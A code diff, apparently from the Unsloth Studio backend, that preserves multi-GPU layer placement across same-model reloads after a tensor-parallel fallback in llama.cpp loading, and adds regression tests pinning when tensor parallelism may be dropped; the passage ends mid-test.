+        # #6659). preserve_multi_gpu_on_layer carries the route's carry-forward decision
+        # (True for an implicit same-settings reload), so those still dedupe -- the HF
+        # auto-pick / local-dir flows skip the route guard and only reach here.
+        if (
+            self._layer_preserves_tensor_intent
+            and not _effective_tensor_parallel(extra_args, tensor_parallel)
+            and not preserve_multi_gpu_on_layer
+        ):
+            return False
 
         # Compare on the canonical requested mode. With --spec-type in
         # extra_args the backend stores None; mirror that here.
@@ -6641,6 +6803,7 @@ class LlamaCppBackend:
             self._supports_tools = False
             self._cache_type_kv = None
             self._tensor_parallel = False
+            self._layer_preserves_tensor_intent = False
             self._speculative_type = None
             self._requested_spec_mode = None
             self._spec_draft_n_max = None
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index caf2a262a3..d3f56edec5 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -683,7 +683,9 @@ try:
         detect_reasoning_flags,
     )
     from core.inference.llama_server_args import (
+        _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
         validate_extra_args,
@@ -718,7 +720,9 @@ except ImportError:
         detect_reasoning_flags,
     )
     from core.inference.llama_server_args import (
+        _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
         validate_extra_args,
@@ -2078,6 +2082,32 @@ def _should_strip_split_mode(request: LoadRequest, backend_extra: Optional[list[
     )
 
 
+def _carry_preserved_tensor_intent(
+    *, preserved: bool, same_model: bool, explicit_drop: bool
+) -> bool:
+    """Carry a preserved multi-GPU layer fallback forward only for a reload of the
+    SAME loaded model that doesn't explicitly drop tensor intent, so a fitting model
+    isn't collapsed to one GPU on a ctx-only change -- but an unrelated model switch
+    (without /unload) or an explicit tensor-off doesn't inherit it (#6659)."""
+    return preserved and same_model and not explicit_drop
+
+
+def _is_explicit_tensor_drop(request: LoadRequest) -> bool:
+    """True only when the request explicitly selects a non-tensor --split-mode (e.g.
+    layer/row/none), a deliberate departure from a preserved tensor->layer fallback.
+
+    A bare tensor_parallel field is NOT a drop: the Studio UI always sends it and echoes
+    the /load response's resolved value back, so after a fallback every reload carries
+    tensor_parallel=false even though the user never changed it -- treating that as a drop
+    would collapse the preserved multi-GPU placement on the next ctx/settings reload. An
+    empty clear is not a drop either (a fallback always stores --split-mode layer, never a
+    tensor split mode, so a clear never wipes tensor intent), nor is an unrelated extra
+    (--top-k) or inherit (None). tensor_parallel=true / --split-mode tensor re-engage
+    tensor. Shared by the already-loaded dedup and the load carry-forward (#6659)."""
+    override = parse_split_mode_override(request.llama_extra_args)
+    return override is not None and override.strip().lower() != "tensor"
+
+
 def _request_matches_loaded_settings(
     request: LoadRequest,
     llama_backend: LlamaCppBackend,
@@ -2116,6 +2146,13 @@ def _request_matches_loaded_settings(
         effective_extra, request.tensor_parallel, llama_backend.tensor_parallel
     ):
         return False
+    # Preserved tensor->layer fallback (both report tensor=off, so the check above
+    # matches): if the user now explicitly drops tensor intent, reload so placement
+    # re-selects instead of keeping the all-GPU mask (#6659). The effective check
+    # includes the env, so an env-only tensor (LLAMA_ARG_SPLIT_MODE=tensor) that
+    # can't actually be dropped falls through to the env-downgrade match, not a loop.
+    if llama_backend.layer_preserves_tensor_intent and _is_explicit_tensor_drop(request):
+        return False
     # Spec decoding works on vision models too (MTP is mmproj-compatible,
     # llama.cpp #22673; the old ``not is_vision`` gate is gone), so compare
     # the real requested mode -- coercing vision to ``off`` here used to
@@ -2810,6 +2847,48 @@ async def load_model(
                     hf_variant = config.gguf_variant,
                 )
 
+            # Tensor intent for this load: the request itself, or a preserved
+            # multi-GPU layer fallback carried across a reload of the SAME model that
+            # doesn't drop it (e.g. a ctx-only change), so a fitting model doesn't
+            # silently collapse to one GPU. Only an explicit non-tensor --split-mode
+            # override counts as the drop -- the tensor field echo / unrelated extras keep
+            # the preserved placement; the same-model guard stops a switch-without-unload
+            # inheriting the prior model's intent.
+            _explicit_tensor_drop = _is_explicit_tensor_drop(request)
+            # Compare the resolved config.identifier (what load_model stores), not the
+            # raw request id: from_identifier normalizes shorthands (adds unsloth/, fixes
+            # case), so a reload with the shorthand would otherwise miss the match and
+            # drop the carry-forward. #6659
+            _same_model_loaded = (
+                llama_backend.is_loaded
+                and (llama_backend.model_identifier or "").lower()
+                == (config.identifier or "").lower()
+            )
+            # model_identifier is variant-agnostic for HF repos and dir-level for a
+            # local multi-variant directory, so also require the loaded quant to match
+            # (path else variant, mirroring _already_in_target_state) -- otherwise a
+            # different variant inherits the prior one's preserved intent. #6659
+            if _same_model_loaded:
+                if config.gguf_file and llama_backend.gguf_path:
+                    try:
+                        _same_model_loaded = (
+                            Path(llama_backend.gguf_path).resolve()
+                            == Path(config.gguf_file).resolve()
+                        )
+                    except OSError:
+                        _same_model_loaded = False
+                else:
+                    _same_model_loaded = (llama_backend.hf_variant or "").lower() == (
+                        config.gguf_variant or ""
+                    ).lower()
+            _tensor_intent_overall = _effective_tensor_parallel(
+                extra_llama_args, request.tensor_parallel
+            ) or _carry_preserved_tensor_intent(
+                preserved = llama_backend.layer_preserves_tensor_intent,
+                same_model = _same_model_loaded,
+                explicit_drop = _explicit_tensor_drop,
+            )
+
             # Run a single load attempt with the given tensor flag + extras.
             async def _attempt_gguf_load(
                 tensor_parallel: bool, attempt_extra_args: Optional[list[str]]
@@ -2823,6 +2902,12 @@ async def load_model(
                     **_source_load_kwargs,
                     **attempt_kwargs,
                     tensor_parallel = tensor_parallel,
+                    # True on the layer fallback retry (tensor wanted overall but not on
+                    # this attempt): keep multi-GPU. Mirrors the fallback's key.
+                    preserve_multi_gpu_on_layer = bool(
+                        _tensor_intent_overall
+                        and not _effective_tensor_parallel(attempt_extra_args, tensor_parallel)
+                    ),
                 )
 
             # Tensor parallelism is arch-gated in llama.cpp and crashes some loads
diff --git a/studio/backend/tests/test_tp_vision_regression.py b/studio/backend/tests/test_tp_vision_regression.py
new file mode 100644
index 0000000000..09af876da6
--- /dev/null
+++ b/studio/backend/tests/test_tp_vision_regression.py
@@ -0,0 +1,805 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression guards for silent tensor-parallel downgrades in load_model.
+
+PR #6416 blanket-disabled tensor parallelism for vision models to dodge a
+--split-mode tensor + --mmproj GGML_ASSERT (#6415), which silently single-GPU'd
+any mmproj/MTP GGUF that fit on one card. The fix makes the skip self-healing:
+tensor is tried by default and recorded per (binary, model) only on a real abort.
+
+load_model is too entangled to drive end-to-end, so these tests inspect the
+source / drive the pure helpers. The headline test pins the set of TP-drop
+conditions, so a new silent drop fails CI. No GPU; fully deterministic.
+"""
+
+from __future__ import annotations
+
+import ast
+import importlib.util
+import inspect
+import os
+import sys
+import textwrap
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# External-dep stubs so importing the backend doesn't require structlog / httpx /
+# loggers -- but only when the real module is missing, so a lightweight stub never
+# shadows the real package (or `loggers.handlers` submodule) for tests collected
+# later in the same pytest process.
+try:
+    import structlog  # noqa: F401
+except ImportError:
+    _structlog_stub = _types.ModuleType("structlog")
+    _structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger("stub")
+    sys.modules["structlog"] = _structlog_stub
+try:
+    import loggers  # noqa: F401
+except ImportError:
+    _loggers_stub = _types.ModuleType("loggers")
+    _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+    sys.modules["loggers"] = _loggers_stub
+try:
+    import httpx as _httpx_real  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+    ):
+        setattr(_httpx_stub, _exc, type(_exc, (Exception,), {}))
+    _httpx_stub.Timeout = type("T", (), {"__init__": lambda s, *a, **k: None})
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Client = type(
+        "C",
+        (),
+        {
+            "__init__": lambda s, **kw: None,
+            "__enter__": lambda s: s,
+            "__exit__": lambda s, *a: None,
+        },
+    )
+    sys.modules["httpx"] = _httpx_stub
+
+from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
+
+_GB = 1024**3
+
+
+def _load_inference_routes_module():
+    """Load routes/inference.py directly, bypassing routes/__init__.py (which imports
+    every router, dragging in unrelated deps like python-multipart) (Codex #6659)."""
+    route_path = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    spec = importlib.util.spec_from_file_location(
+        "tp_vision_regression_inference_routes", route_path
+    )
+    assert spec is not None and spec.loader is not None
+    module = importlib.util.module_from_spec(spec)
+    sys.modules[spec.name] = module
+    spec.loader.exec_module(module)
+    return module
+
+
+def _load_model_ast() -> ast.FunctionDef:
+    """Parse load_model into an AST FunctionDef (no import side effects)."""
+    src = textwrap.dedent(inspect.getsource(LlamaCppBackend.load_model))
+    return ast.parse(src).body[0]
+
+
+def _tensor_parallel_false_drop_guards() -> list[str]:
+    """Source of the guard expression for every `if ...: tensor_parallel = False`
+    (the LOCAL variable, not self._tensor_parallel) inside load_model."""
+    fn = _load_model_ast()
+
+    def _body_drops_tp(body) -> bool:
+        for n in body:
+            if (
+                isinstance(n, ast.Assign)
+                and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets)
+                and isinstance(n.value, ast.Constant)
+                and n.value.value is False
+            ):
+                return True
+        return False
+
+    return [
+        ast.unparse(node.test)
+        for node in ast.walk(fn)
+        if isinstance(node, ast.If) and _body_drops_tp(node.body)
+    ]
+
+
+# Every condition that may flip a requested tensor_parallel back to False. Adding
+# one must be conscious: update this allowlist and keep multi-GPU where possible.
+_ALLOWED_TP_DROP_GUARDS = {
+    # Capability: --split-mode tensor aborted for this (binary, model) (#6415).
+    # Self-healing -- tried by default, skipped only after a real abort (vs #6416).
+    "tensor_parallel and self._tensor_split_aborts(binary, model_identifier)",
+    # Capacity: tensor needs >= 2 GPUs clearing the compute-buffer reserve.
+    "tensor_parallel and len(tp_gpus) < 2",
+    # Capacity: pooled usable VRAM can't hold weights + MTP reserve -> layer split.
+    "_tp_weight_budget_mib <= _tp_required_mib",
+}
+
+
+def test_tensor_parallel_drop_sites_match_allowlist():
+    """The set of reasons a requested TP can be dropped is fixed and reviewed: a new
+    drop site fails this set-equality until consciously allowlisted (would catch #6416)."""
+    found = set(_tensor_parallel_false_drop_guards())
+    assert found == _ALLOWED_TP_DROP_GUARDS, (
+        "tensor_parallel drop sites changed.\n"
+        f"  unexpected (new) : {sorted(found - _ALLOWED_TP_DROP_GUARDS)}\n"
+        f"  missing (removed): {sorted(_ALLOWED_TP_DROP_GUARDS - found)}\n"
+        "A new drop means a user's TP request is ignored for a new reason -- "
+        "review it, keep multi-GPU where possible, surface it, then update "
+        "_ALLOWED_TP_DROP_GUARDS."
+    )
+
+
+def test_every_tp_drop_is_logged_not_silent():
+    """Each tensor_parallel downgrade must log why, so it never disappears silently."""
+    fn = _load_model_ast()
+
+    def _body_drops_tp(body):
+        return any(
+            isinstance(n, ast.Assign)
+            and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets)
+            and isinstance(n.value, ast.Constant)
+            and n.value.value is False
+            for n in body
+        )
+
+    def _body_logs(body) -> bool:
+        for n in ast.walk(ast.Module(body = list(body), type_ignores = [])):
+            if (
+                isinstance(n, ast.Call)
+                and isinstance(n.func, ast.Attribute)
+                and isinstance(n.func.value, ast.Name)
+                and n.func.value.id == "logger"
+            ):
+                return True
+        return False
+
+    for node in ast.walk(fn):
+        if isinstance(node, ast.If) and _body_drops_tp(node.body):
+            assert _body_logs(node.body), (
+                f"TP drop under `{ast.unparse(node.test)}` has no logger call -- "
+                "downgrades must explain themselves."
+            )
+
+
+def test_tensor_split_gate_is_self_healing_not_blanket():
+    """Skip is conditional on a recorded (binary, model) abort, not a blanket
+    is_vision disable (the #6416 regression)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert "self._tensor_split_aborts(binary, model_identifier)" in src
+    assert "if tensor_parallel and is_vision:" not in src
+    assert "if tensor_parallel and effective_is_vision:" not in src
+
+
+def test_tensor_split_skip_documents_layer_split_fallback():
+    """When the skip fires (known-bad binary+model), it states the fallback."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    gate = src.find("self._tensor_split_aborts(binary, model_identifier)")
+    assert gate != -1
+    block = src[gate : gate + 600]
+    assert "layer split" in block, "the skip should state it falls back to layer split"
+
+
+def test_tensor_split_abort_recorded_early_on_first_spawn():
+    """Recorded on the first spawn showing the marker, before the flash-attn-off
+    retry (which can't run tensor so drops the marker) -- else it loops (oobabooga, #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    idx = src.find("_record_tensor_split_abort(binary, model_identifier)")
+    assert idx != -1, "load_model must record a (binary, model) tensor-split abort"
+    guard = src[max(0, idx - 600) : idx]
+    assert "self._tensor_parallel" in guard
+    assert (
+        "_should_record_tensor_split_abort" in guard
+    ), "record must be gated on the marker-plus-hard-crash decision helper"
+    # Recorded before the flash-attn-off retry, not after the full ladder.
+    fa_off = src.find("_with_flash_attn_off")
+    assert 0 <= idx < fa_off, "recording must latch on the first spawn, before flash-off"
+
+
+def test_vision_downgrade_preserves_multi_gpu_intent():
+    """The vision downgrade raises _layer_min_gpus and threads it into both the
+    _select_gpus and auto-context layer paths, so a fitting model still spreads."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert "_layer_min_gpus = max(_layer_min_gpus, len(gpus))" in src
+    assert src.count("min_gpus = _layer_min_gpus") >= 2
+    assert "range(_auto_min_gpus, len(ranked) + 1)" in src
+    auto = src.find("_auto_min_gpus = max(")
+    assert auto != -1 and "_layer_min_gpus" in src[auto : auto + 200]
+
+
+# ── per-binary capability cache (pure) ───────────────────────────────
+
+
+def test_tensor_attempted_by_default_for_unknown_binary():
+    """A (binary, model) not seen to abort -> tensor is attempted (not skipped)."""
+    assert LlamaCppBackend._tensor_split_aborts("/never/seen/llama-server", "m") is False
+    assert LlamaCppBackend._tensor_split_aborts(None, "m") is False
+    assert LlamaCppBackend._tensor_split_aborts("/x", None) is False
+
+
+def test_recorded_tensor_abort_is_per_model():
+    """A recorded (binary, model) abort trips the gate for that model only -- a
+    different model on the same binary still attempts tensor (oobabooga, #6659)."""
+    b = f"/tmp/llama-server-{id(object())}"
+    try:
+        assert LlamaCppBackend._tensor_split_aborts(b, "model-a") is False
+        LlamaCppBackend._record_tensor_split_abort(b, "model-a")
+        assert LlamaCppBackend._tensor_split_aborts(b, "model-a") is True
+        # a different model on the same binary is unaffected
+        assert LlamaCppBackend._tensor_split_aborts(b, "model-b") is False
+    finally:
+        LlamaCppBackend._tensor_split_abort_keys.discard(
+            LlamaCppBackend._tensor_split_cache_key(b, "model-a")
+        )
+
+
+# ── _select_gpus: single-GPU collapse vs honored multi-GPU intent (pure) ──
+
+
+def test_select_gpus_collapses_to_single_gpu_when_model_fits():
+    """Default (min_gpus=1): a 39 GB model on four 183 GB GPUs pins ONE GPU -- the
+    'single GPU' symptom once TP drops, and why the downgrade needs min_gpus."""
+    gpus = [(0, 180000), (1, 180000), (2, 180000), (3, 180000)]  # (idx, free MiB)
+    gpu_indices, _use_fit = LlamaCppBackend._select_gpus(int(39 * _GB), gpus)
+    assert gpu_indices is not None and len(gpu_indices) == 1
+
+
+def test_select_gpus_min_gpus_keeps_multi_gpu_for_fitting_model():
+    """min_gpus>=2 must NOT collapse to one GPU for a model that fits on one."""
+    gpus = [(0, 180000), (1, 180000), (2, 180000), (3, 180000)]
+    gpu_indices, _ = LlamaCppBackend._select_gpus(int(39 * _GB), gpus, min_gpus = 2)
+    assert gpu_indices is not None and len(gpu_indices) >= 2
+
+
+def test_select_gpus_min_gpus_capped_to_available():
+    """min_gpus larger than the GPU count is capped, not an error."""
+    gpus = [(0, 180000), (1, 180000)]
+    gi, _ = LlamaCppBackend._select_gpus(int(10 * _GB), gpus, min_gpus = 8)
+    assert gi is not None and len(gi) == 2
+
+
+def test_select_gpus_uses_multiple_gpus_when_model_does_not_fit():
+    """Sanity: selection spreads across GPUs when one card can't hold the model."""
+    gpus = [(0, 40000), (1, 40000), (2, 40000), (3, 40000)]  # 40 GB free each
+    gpu_indices, _use_fit = LlamaCppBackend._select_gpus(int(120 * _GB), gpus)
+    assert gpu_indices is not None and len(gpu_indices) >= 2
+
+
+def test_select_gpus_min_gpus_excludes_unusable_gpu():
+    """min_gpus caps to usable cards: 2 free + 1 nearly-full -> 2-GPU split, not
+    forcing the full card (OOM) or tripping --fit (#6659)."""
+    gpus = [(0, 180000), (1, 180000), (2, 500)]  # GPU 2 is nearly full
+    total = {0: 180000, 1: 180000, 2: 180000}
+    gi, _ = LlamaCppBackend._select_gpus(
+        int(39 * _GB),
+        gpus,
+        min_gpus = 3,
+        total_by_idx = total,
+        per_device_overhead_bytes = int(1 * _GB),
+    )
+    assert gi is not None
+    assert 2 not in gi, "a nearly-full GPU must not be forced in to satisfy min_gpus"
+    assert len(gi) == 2
+
+
+def test_tensor_abort_cache_invalidated_on_binary_mtime_change(tmp_path):
+    """Cache keys on (path, mtime, model), so a binary swapped in place (in-app
+    update, no restart) is re-probed instead of inheriting the old abort (#6659)."""
+    binp = tmp_path / "llama-server"
+    binp.write_text("v1")
+    p = str(binp)
+    try:
+        LlamaCppBackend._record_tensor_split_abort(p, "m")
+        assert LlamaCppBackend._tensor_split_aborts(p, "m") is True
+        # Simulate an in-place update bumping the binary's mtime.
+        st = binp.stat()
+        os.utime(p, (st.st_atime, st.st_mtime + 10))
+        assert (
+            LlamaCppBackend._tensor_split_aborts(p, "m") is False
+        ), "a binary swapped in place (new mtime) must be re-probed"
+        # A same-second replacement (sub-second mtime bump) must also re-probe:
+        # second-resolution mtime would inherit the stale abort (reviewer.py P2).
+        sec_ns = (binp.stat().st_mtime_ns // 1_000_000_000) * 1_000_000_000
+        os.utime(p, ns = (sec_ns, sec_ns))
+        LlamaCppBackend._record_tensor_split_abort(p, "m")
+        binp.write_text("v2")
+        os.utime(p, ns = (sec_ns, sec_ns + 1))
+        assert (
+            LlamaCppBackend._tensor_split_aborts(p, "m") is False
+        ), "a same-second in-place swap (ns mtime bump) must be re-probed"
+    finally:
+        for key in list(LlamaCppBackend._tensor_split_abort_keys):
+            if key and key[0] == p:
+                LlamaCppBackend._tensor_split_abort_keys.discard(key)
+
+
+def test_tensor_split_abort_raises_early_to_layer_fallback():
+    """The first-spawn abort raises to the route's layer fallback (not the text-only
+    mmproj strip), before the flash-attn-off retry, preserving the projector (#6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    raise_idx = src.find("(split-axis geometry); retrying with layer split")
+    assert raise_idx != -1, "the split-axis abort must raise to trigger a layer retry"
+    # raises before both the flash-attn-off retry and the text-only mmproj strip
+    assert raise_idx < src.find("_with_flash_attn_off")
+    assert raise_idx < src.find("_strip_mmproj_args(_last_spawn_cmd)")
+    # gated on the marker-plus-crash helper, which also drives the record just above
+    guard = src[max(0, raise_idx - 600) : raise_idx]
+    assert "_should_record_tensor_split_abort" in guard
+    rec_idx = src.find("_record_tensor_split_abort(binary, model_identifier)")
+    assert rec_idx != -1 and rec_idx < raise_idx
+
+
+def test_budget_downgrade_preserves_multi_gpu_intent():
+    """The pooled-VRAM downgrade raises _layer_min_gpus from the usable tensor GPUs
+    too, symmetric with the vision downgrade (reviewer.py asymmetric fix, #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    budget = src.find("_tp_weight_budget_mib <= _tp_required_mib")
+    assert budget != -1
+    block = src[budget : budget + 1000]
+    assert "tensor_parallel = False" in block
+    assert (
+        "_layer_min_gpus = max(_layer_min_gpus, len(tp_gpus))" in block
+    ), "the budget downgrade must preserve multi-GPU intent like the vision gate"
+
+
+def test_compute_buffer_downgrade_preserves_multi_gpu_intent():
+    """The len(tp_gpus) < 2 compute-buffer downgrade raises _layer_min_gpus from the
+    full GPU set too, so it is symmetric with the budget/geometry downgrades and
+    doesn't collapse a multi-GPU layer load to one card (reviewer.py P1 on #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    gate = src.find("tensor_parallel and len(tp_gpus) < 2")
+    assert gate != -1
+    # Bound to exactly this block: from its gate to the next (budget) downgrade.
+    nxt = src.find("_tp_weight_budget_mib <= _tp_required_mib", gate)
+    assert nxt != -1
+    block = src[gate:nxt]
+    assert "tensor_parallel = False" in block
+    assert (
+        "_layer_min_gpus = max(_layer_min_gpus, len(gpus))" in block
+    ), "the compute-buffer downgrade must preserve multi-GPU intent like the others"
+
+
+def test_tensor_split_layer_min_gpus_bump_requires_tensor_request():
+    """Every guard that bumps _layer_min_gpus off the abort cache also tests
+    tensor_parallel, so a non-tensor load on a known-bad binary doesn't grab every
+    GPU for a fitting model (#6659)."""
+    fn = _load_model_ast()
+    checked = 0
+    for node in ast.walk(fn):
+        if isinstance(node, ast.If):
+            test_src = ast.unparse(node.test)
+            if "self._tensor_split_aborts(binary, model_identifier)" not in test_src:
+                continue
+            body = "\n".join(ast.unparse(n) for n in node.body)
+            if "_layer_min_gpus" in body:
+                checked += 1
+                assert "tensor_parallel" in test_src, (
+                    "the cached _layer_min_gpus bump must require a current tensor "
+                    f"request, but fires under `{test_src}`"
+                )
+    assert checked >= 1, "expected an abort-cache guard that bumps _layer_min_gpus"
+
+
+# ── round-2 follow-up: route-fallback retry + auto-context cap + assert marker ──
+
+
+def test_layer_fallback_retry_preserves_multi_gpu_intent():
+    """load_model takes a preserve_multi_gpu_on_layer hint and raises _layer_min_gpus
+    for it, so the tensor-off fallback retry still spreads a fitting model (#6659)."""
+    sig = inspect.signature(LlamaCppBackend.load_model)
+    assert "preserve_multi_gpu_on_layer" in sig.parameters
+    assert sig.parameters["preserve_multi_gpu_on_layer"].default is False
+    fn = _load_model_ast()
+    found = any(
+        isinstance(n, ast.If)
+        and "preserve_multi_gpu_on_layer" in ast.unparse(n.test)
+        and "_layer_min_gpus" in "\n".join(ast.unparse(b) for b in n.body)
+        for n in ast.walk(fn)
+    )
+    assert found, "preserve_multi_gpu_on_layer must raise _layer_min_gpus"
+
+
+def test_auto_context_layer_loops_capped_to_usable_gpus():
+    """The auto-context loops bypass _select_gpus, so they apply its cap: a card
+    counts only if usable VRAM clears the per-device layer overhead (#6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert (
+        "range(max(1, _layer_min_gpus), len(ranked) + 1)" not in src
+    ), "auto-context loops must cap _layer_min_gpus to usable GPUs, not use it raw"
+    assert "_auto_min_gpus" in src
+    assert "range(_auto_min_gpus, len(ranked) + 1)" in src
+    # the eligibility threshold is the per-device layer overhead, not bare > 0
+    auto = src.find("_auto_min_gpus = max(")
+    assert auto != -1
+    block = src[auto : auto + 400]
+    assert "_pipeline_overhead_mib" in block, (
+        "a card must clear the per-device layer overhead to count, mirroring "
+        "_select_gpus, so a nearly-full GPU is not exposed and OOMs"
+    )
+
+
+def test_fallback_hint_uses_effective_tensor_request_not_just_toggle():
+    """Tensor intent keys off _effective_tensor_parallel (toggle + extras + env), not
+    just the toggle, so extra/env-driven tensor users keep multi-GPU (#6659)."""
+    route = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    src = route.read_text()
+    idx = src.find("_tensor_intent_overall = _effective_tensor_parallel(")
+    assert idx != -1, "the GGUF load closure must compute tensor intent"
+    block = src[idx : idx + 300]
+    assert "extra_llama_args, request.tensor_parallel" in block
+    pres = src.find("preserve_multi_gpu_on_layer = bool(")
+    assert (
+        "_effective_tensor_parallel(attempt_extra_args, tensor_parallel)" in src[pres : pres + 200]
+    )
+    # not the toggle-only form this replaced
+    assert (
+        "bool(\n                        request.tensor_parallel and not tensor_parallel" not in src
+    )
+
+
+def test_carry_preserved_tensor_intent_truth_table():
+    """Behavioral check of the carry-forward decision: carried only for the SAME
+    model, preserved, and not an explicit drop. Catches a `not` inversion (ctx-only
+    collapse) and a missing same-model guard (cross-model leak) (#6659)."""
+    inference_routes = _load_inference_routes_module()
+    f = inference_routes._carry_preserved_tensor_intent
+    assert f(preserved = True, same_model = True, explicit_drop = False) is True
+    assert f(preserved = True, same_model = True, explicit_drop = True) is False  # explicit drop
+    assert f(preserved = True, same_model = False, explicit_drop = False) is False  # model switch
+    assert f(preserved = False, same_model = True, explicit_drop = False) is False  # not a fallback
+
+
+def test_preserved_fallback_carried_across_non_drop_reload():
+    """The hint carries the preserved fallback via _carry_preserved_tensor_intent,
+    gated on the same model loaded, so a ctx-only reload keeps multi-GPU but a model
+    switch / explicit drop doesn't inherit it (#6659)."""
+    route = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    src = route.read_text()
+    idx = src.find("_tensor_intent_overall = _effective_tensor_parallel(")
+    assert idx != -1
+    block = src[idx : idx + 400]
+    assert "_carry_preserved_tensor_intent(" in block
+    assert "preserved = llama_backend.layer_preserves_tensor_intent" in block
+    assert "same_model = _same_model_loaded" in block
+    assert "explicit_drop = _explicit_tensor_drop" in block
+
+
+def test_same_model_guard_checks_path_and_variant():
+    """The same-model guard matches the resolved config.identifier (what load_model
+    stores, after from_identifier normalizes shorthands) -- not the raw request id --
+    and also matches the loaded quant by path (local multi-variant dir) else variant (HF
+    repo), so a reload keeps the carry-forward and a different variant doesn't inherit
+    the prior one's preserved tensor intent (#6659)."""
+    route = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    src = route.read_text()
+    idx = src.find("_same_model_loaded = (")
+    assert idx != -1
+    block = src[idx : idx + 1300]
+    # Identity compares the normalized config.identifier, not the raw model_identifier.
+    head = src[idx : idx + 200]
+    assert "config.identifier" in head and "== (model_identifier" not in head
+    assert "llama_backend.gguf_path" in block and "config.gguf_file" in block
+    assert "llama_backend.hf_variant" in block and "config.gguf_variant" in block
+
+
+def test_diffusion_load_clears_preserved_tensor_flag():
+    """The diffusion early-return path (skips the command builder) clears the
+    preserved-fallback flag, so a prior tensor fallback doesn't churn it (#6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    diff = src.find("if self._is_diffusion:")
+    assert diff != -1
+    start = src.find("return self._start_diffusion_server", diff)
+    assert start != -1
+    assert "self._layer_preserves_tensor_intent = False" in src[diff:start]
+
+
+def test_is_tensor_split_assert_marker():
+    """Matches the specific #6415 split-axis assert, not any ggml assert/abort, so
+    an unrelated invariant a corrupt GGUF/projector trips isn't cached (#6659)."""
+    f = LlamaCppBackend._is_tensor_split_assert
+    # the real #6415 warmup assert (split-axis enum, in ggml-backend-meta)
+    assert (
+        f(
+            "ggml-backend-meta.cpp:541: GGML_ASSERT(src_ss[0].axis != "
+            "GGML_BACKEND_SPLIT_AXIS_0) failed"
+        )
+        is True
+    )
+    # the split-axis token alone (file path elided / reworded) still matches
+    assert f("GGML_ASSERT(x.axis != GGML_BACKEND_SPLIT_AXIS_1) failed") is True
+    # UNRELATED asserts must NOT match -- including a different invariant from the
+    # same multi-assert source file (matched on the token, not the file name).
+    assert f("ggml-backend-meta.cpp:99: GGML_ASSERT(buf != NULL) failed") is False
+    assert f("/x/ggml.c:1234: GGML_ASSERT(ne == 1) failed") is False
+    assert f("ggml_abort: something else entirely") is False
+    assert f("Segmentation fault (core dumped)") is False
+    assert f("") is False
+    assert f(None) is False
+
+
+def test_layer_preserve_hint_replayed_on_respawn():
+    """The preserve hint is in the replay snapshot (_pending_load_kwargs), so a
+    respawn keeps the downgraded model multi-GPU (Codex review on #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    pend = src.find("_pending_load_kwargs = {")
+    assert pend != -1
+    block = src[pend : src.find("}", pend) + 1]
+    assert '"preserve_multi_gpu_on_layer": preserve_multi_gpu_on_layer' in block, (
+        "the layer-preserve hint must be in the replay snapshot so _respawn_if_dead "
+        "keeps the multi-GPU placement"
+    )
+
+
+def test_should_record_tensor_split_abort_decision():
+    """Behavioral check of marker AND (signal crash OR Windows abort), so an
+    or->and typo or caching a generic crash fails here, not just the source pins."""
+    f = LlamaCppBackend._should_record_tensor_split_abort
+    marker = "ggml-backend-meta.cpp:541: GGML_ASSERT(x.axis != GGML_BACKEND_SPLIT_AXIS_0) failed"
+    # marker + a hard crash records, across every platform's abort encoding
+    assert f(-6, marker) is True  # POSIX SIGABRT
+    assert f(-11, marker) is True  # POSIX SIGSEGV
+    assert f(3, marker) is True  # Windows CRT abort() exit (not a signal)
+    assert f(0xC0000005, marker) is True  # Windows NTSTATUS access violation
+    # marker present but no hard crash -> not recorded
+    assert f(0, marker) is False  # clean exit
+    assert f(-9, marker) is False  # SIGKILL (OOM / unload), not a fault
+    assert f(None, marker) is False  # still running
+    # hard crash but not the split-axis marker -> not recorded (no over-caching)
+    assert f(3, "some other failure") is False
+    assert f(-6, "GGML_ASSERT(buf != NULL) failed") is False
+    assert f(0xC0000005, "") is False
+
+
+def test_fit_off_retry_skipped_on_split_axis_abort():
+    """The fit-independent --fit off retry is skipped on the split-axis marker, else
+    the model crashes a second time before the latch records it (reviewer.py, #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    retry = src.find('run_cmd = [*run_cmd, "--fit", "off"]')
+    assert retry != -1
+    guard = src[max(0, retry - 1000) : retry]
+    assert "_fit_retry_allowed" in guard and "_startup_crashed" in guard
+    assert (
+        "not _split_axis_crash" in guard
+    ), "the fit-off retry must be skipped when the crash is a split-axis abort"
+
+
+def test_is_abort_exit_recognizes_windows_crt_abort():
